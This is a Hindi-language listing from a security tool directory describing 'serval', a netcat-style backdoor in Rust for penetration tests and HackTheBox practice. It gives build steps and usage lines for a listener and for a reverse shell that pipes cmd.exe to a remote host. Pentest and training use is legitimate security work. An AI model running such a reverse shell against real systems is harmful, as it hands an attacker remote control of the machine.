Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
उपकरण/GitHubGitHub/tgadola/serval
पेलोड जनरेशनपेनिट्रेशन टेस्टिंगरेड टीमिंगरिमोट एक्सेस टूल
GitHubtgadola/serval

serval

पेंटेस्टिंग और पेंटेस्ट अभ्यासों के लिए नेटकैट-शैली का बैकडोर

रिपॉजिटरी देखें
50616 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

पेंटेस्टिंग और पेंटेस्ट चुनौतियों के लिए एक Netcat शैली का बैकडोर

Serval एक हल्का, उपयोग में आसान बाइनरी है जो पेंटेस्ट या पेंटेस्टिंग अभ्यासों के लिए रिवर्स और बाइंड शेल उत्पन्न करने के लिए है। Serval क्रॉस-प्लेटफ़ॉर्म है और इसे Windows 32 और 64-बिट और Linux 32 और 64-बिट दोनों के लिए संकलित किया जा सकता है। नोट: Rust के लचीलेपन के कारण अन्य प्लेटफार्मों (जैसे ARM) के लिए संकलन करना संभव हो सकता है, लेकिन मैंने अन्य प्लेटफार्मों के लिए परीक्षण नहीं किया है।

क्यों?

मैंने Serval को HacktheBox चुनौतियों के दौरान netcat पर अपनी निर्भरता हटाने के लिए विकसित किया, क्योंकि Windows के लिए netcat बाइनरी ढूंढना परेशानी भरा हो सकता है (विशेषकर -e विकल्प के साथ) और एक भरोसेमंद स्रोत से बाइनरी ढूंढना और भी कठिन है।

विशेषताएँ

  • क्रॉस-संकलन योग्य! Linux या Windows के लिए बनाया जा सकता है।
  • कमांड लाइन इतिहास। ऊपर और नीचे तीर कमांड इतिहास में स्क्रॉल करेंगे।
  • कमांड लाइन इतिहास खोज! अपने कमांड इतिहास को रिवर्स सर्च करने के लिए ctrl-r।
  • लाइन एडिटिंग। बैकस्पेस और बाएँ-दाएँ तीर कुंजियाँ काम करती हैं!
  • अंतर-संचालन क्षमता। आपके लक्ष्य पर केवल netcat है? कोई समस्या नहीं! Serval लिसनर फिर भी शेल को पकड़ सकता है और आपको उन्नत सुविधाएँ दे सकता है।

स्थापना

Rust उपयोगकर्ता (स्रोत से संकलन)

GitHub से स्रोत डाउनलोड करें

git clone https://github.com/tgadola/serval.git && cd serval-master

*वैकल्पिक: अपने बिल्डपथ को फिर से लिखने के लिए .cargo/config पर बिल्ड फ़ाइल संपादित करें।

अपने वर्तमान प्लेटफॉर्म के लिए बाइनरी बनाएं।

cargo build --release

*नोट: v1.1.0 के लिए Rust nightly आवश्यक है

आप अन्य प्लेटफार्मों के लिए इसका उपयोग करके बना सकते हैं

cargo build --release --target <target-triple>

अन्य

यदि आप विशेष रूप से भरोसेमंद व्यक्ति हैं तो आप पहले से निर्मित बाइनरी यहाँ से डाउनलोड कर सकते हैं।

उपयोग

डिफ़ॉल्ट रूप से Serval या तो एक पोर्ट पर सुनता है या कनेक्ट होता है और मानक इनपुट और आउटपुट को उस कनेक्शन पर पाइप करता है। -e फ्लैग एक प्रक्रिया उत्पन्न करेगा और उसके मानक इनपुट और आउटपुट को नेटवर्क पर पाइप करेगा।

एक लिसनर प्रारंभ करें

Serval सभी इंटरफेस पर सुनता है।

लाइन एडिटिंग और कमांड इतिहास सुविधाओं को सक्रिय करने के लिए -H फ्लैग का उपयोग करें!

serval -l 4400 -H

एक रिवर्स शेल उत्पन्न करें

serval.exe <listening ip> <listening port> -q -e cmd.exe

????

Profit

विशेष धन्यवाद

@kkawakam-transferwise और उनके Rustyline क्रेट को बहुत-बहुत धन्यवाद, जो वास्तव में सभी भारी काम करता है। Rustyline देखें!

Clap के निर्माताओं और योगदानकर्ताओं को धन्यवाद! Clap देखें।

Anyhow के निर्माताओं और योगदानकर्ताओं को धन्यवाद! Anyhow देखें। महान क्रेट नाम के लिए +1।

@jaynus को उनकी सभी Rust सलाह के लिए धन्यवाद

लाइसेंस

Apache 2.0. अधिक जानकारी के लिए लाइसेंस फ़ाइल देखें।

टूल डाउनलोड करें